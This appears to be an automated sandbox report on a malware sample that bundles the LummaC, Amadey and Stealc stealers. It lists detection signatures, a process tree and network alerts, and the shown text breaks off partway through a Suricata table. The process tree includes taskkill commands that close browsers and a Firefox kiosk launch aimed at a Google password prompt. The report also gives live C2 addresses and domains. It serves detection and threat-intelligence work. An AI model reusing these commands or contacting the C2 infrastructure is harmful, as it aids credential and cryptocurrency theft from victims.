Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541054
MD5:	7b4cc8ac4ac8827894a00407b15007c3
SHA1:	0b9182457171726509f5ddb2b577cec7f7cdfb08
SHA256:	ef71225b333b75e7768c7f252c9fe4910e3bac8221c157a2688baad2a564485d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Excessive usage of taskkill to terminate processes

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1832 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7B4CC8AC4AC8827894A00407B15007C3)

0KH83O2UU7K66U0BZXMNJ98MCWGN.exe (PID: 1008 cmdline: "C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe" MD5: 51098B78FFF0FFD53DF2F9CFE058AA86)

skotes.exe (PID: 1056 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 51098B78FFF0FFD53DF2F9CFE058AA86)

dbec6bb1cf.exe (PID: 6552 cmdline: "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe" MD5: 7B4CC8AC4AC8827894A00407B15007C3)

de379087e7.exe (PID: 4016 cmdline: "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe" MD5: E13D89812EE808B7637FE554797B759B)

2155b53b29.exe (PID: 7104 cmdline: "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe" MD5: 8C8F878E0052609B14B1A3F7233D8453)

taskkill.exe (PID: 404 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2304 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5712 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2616 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1212 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 424 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5712 cmdline: "C:\Users\user\AppData\Local\Temp\1001161001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe (PID: 1208 cmdline: "C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe" MD5: E13D89812EE808B7637FE554797B759B)

A77BGJTTW6SX9ESX.exe (PID: 6888 cmdline: "C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe" MD5: 69781A3A70FE07C63A7435F108333941)

dbec6bb1cf.exe (PID: 3196 cmdline: "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe" MD5: 7B4CC8AC4AC8827894A00407B15007C3)

skotes.exe (PID: 6424 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 51098B78FFF0FFD53DF2F9CFE058AA86)

firefox.exe (PID: 5244 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6104 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6128 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9686308f-a394-415a-b650-85143ae21422} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d44d6ff10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2704 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4328 -parentBuildID 20230927232528 -prefsHandle 4336 -prefMapHandle 4332 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5cc7a10-42c2-4801-b3a0-593248fdef50} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d5735b310 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

de379087e7.exe (PID: 3748 cmdline: "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe" MD5: E13D89812EE808B7637FE554797B759B)

2155b53b29.exe (PID: 2444 cmdline: "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe" MD5: 8C8F878E0052609B14B1A3F7233D8453)

taskkill.exe (PID: 2196 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5764 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4908 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5168 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2300 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5760 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7004 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6716 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2216 -prefMapHandle 2212 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {25ca59eb-9508-42dd-bcfe-40c1dece1204} 7004 "\\.\pipe\gecko-crash-server-pipe.7004" 1cb6246e310 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 1920 cmdline: "C:\Users\user\AppData\Local\Temp\1001161001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

dbec6bb1cf.exe (PID: 6552 cmdline: "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe" MD5: 7B4CC8AC4AC8827894A00407B15007C3)

de379087e7.exe (PID: 2388 cmdline: "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe" MD5: E13D89812EE808B7637FE554797B759B)

2155b53b29.exe (PID: 2752 cmdline: "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe" MD5: 8C8F878E0052609B14B1A3F7233D8453)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["clearancek.site", "eaglepawnoy.store", "mobbipenju.store", "studennotediw.store", "bathdoomgaz.store", "licendfilteo.site", "spirittunek.store", "dissapoiznw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1001161001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1001161001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000030.00000002.3148936409.0000000000741000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000030.00000003.3060062755.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2227913315.0000000000B8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2185153441.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2227693776.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.2397910206.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2212713224.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000023.00000002.2886563084.00000000005D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2197662710.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.2706765713.0000000000711000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2226397549.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2602104449.0000000000741000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000000.2683900761.0000000000711000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2184146006.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.2811424197.0000000000741000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000030.00000002.3159738458.000000000125B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2200551124.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2712170714.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2723464783.0000000005130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2349736258.0000000004B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2212770772.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2391174497.00000000003F1000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2561702732.00000000050E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2448799973.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2184078982.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2673921546.0000000000741000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000003.2385245260.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2197538360.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2197338181.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2632495189.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000000.2865797092.0000000000711000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2813742267.000000000131B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2198294386.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.2887571648.0000000000711000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2226367127.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1832	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 1832	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1832	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe PID: 1208	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe PID: 1208	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: de379087e7.exe PID: 4016	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: de379087e7.exe PID: 4016	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2155b53b29.exe PID: 7104	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 41 entries

Unpacked PEs

Source	Rule	Description	Author
35.2.num.exe.710000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.0.num.exe.710000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
35.0.num.exe.710000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.bd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
12.2.skotes.exe.740000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
48.2.de379087e7.exe.740000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.2.num.exe.710000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.2.de379087e7.exe.740000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.de379087e7.exe.740000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1056, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dbec6bb1cf.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1056, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dbec6bb1cf.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:16.811026+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49712	104.21.53.8	443	TCP
2024-10-24T11:02:17.863422+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T11:02:27.723307+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49750	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:16.811026+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49712	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:17.863422+0200	2049812	1	A Network Trojan was detected	192.168.2.6	49713	104.21.53.8	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:36.112228+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	49756	185.215.113.16	80	TCP
2024-10-24T11:03:05.927617+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	49963	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:51.345243+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49881	185.215.113.43	80	TCP
2024-10-24T11:02:57.364152+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49913	185.215.113.43	80	TCP
2024-10-24T11:03:05.008320+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49957	185.215.113.43	80	TCP
2024-10-24T11:03:11.161521+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49993	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:14.037253+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	53798	1.1.1.1	53	UDP
2024-10-24T11:02:49.626702+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	53060	1.1.1.1	53	UDP
2024-10-24T11:03:03.470076+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	55166	1.1.1.1	53	UDP
2024-10-24T11:03:38.518170+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.6	59941	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:13.971838+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	53329	1.1.1.1	53	UDP
2024-10-24T11:02:49.552881+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	54074	1.1.1.1	53	UDP
2024-10-24T11:03:03.379727+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	52184	1.1.1.1	53	UDP
2024-10-24T11:03:38.439708+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.6	51597	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:14.014431+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	62813	1.1.1.1	53	UDP
2024-10-24T11:02:49.599372+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	50123	1.1.1.1	53	UDP
2024-10-24T11:03:03.442371+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	63687	1.1.1.1	53	UDP
2024-10-24T11:03:38.476265+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	59078	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
